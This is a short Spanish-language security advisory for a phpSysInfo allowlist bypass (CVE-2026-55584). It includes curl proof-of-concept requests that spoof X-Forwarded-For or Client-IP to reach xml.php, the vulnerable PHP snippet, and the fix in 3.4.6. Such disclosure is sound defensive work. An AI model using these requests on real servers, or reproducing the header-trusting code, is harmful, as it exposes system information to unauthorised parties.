
CVE-2026-55584 — phpSysInfo IP Allowlist Bypass
CWE-290, CVSS 7.5 (Alta), phpSysInfo <= 3.4.5
Refs: GHSA-786w-p5pm-cvgh, CVE.org
PSI_ALLOWED resuelve la IP del cliente a partir de las cabeceras controladas por el atacante X-Forwarded-For (luego Client-IP) antes de recurrir a REMOTE_ADDR. No hay un concepto de proxy de confianza, por lo que suplantar una IP permitida anula la lista de permitidos y expone toda la información del sistema a través de xml.php.
Prueba de concepto:
# lista de permitidos establecida a una dirección que el atacante no posee (ALLOWED=8.8.8.8)
curl -s http://target/xml.php # "Client IP address (...) not allowed."
curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php # bypass, XML completo
curl -s -H "Client-IP: 8.8.8.8" http://target/xml.php # bypass, XML completo
Código vulnerable (read_config.php):
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} elseif (isset($_SERVER["HTTP_CLIENT_IP"])) {
$ip = $_SERVER["HTTP_CLIENT_IP"];
} else {
$ip = $_SERVER["REMOTE_ADDR"]; // única fuente confiable, comprobada al final
}
Corregido en 3.4.6 (019fa2d): por defecto usa REMOTE_ADDR; solo acepta X-Forwarded-For / Client-IP desde proxies de confianza configurados.
Reportado por Muhammed Mirac Kayıkci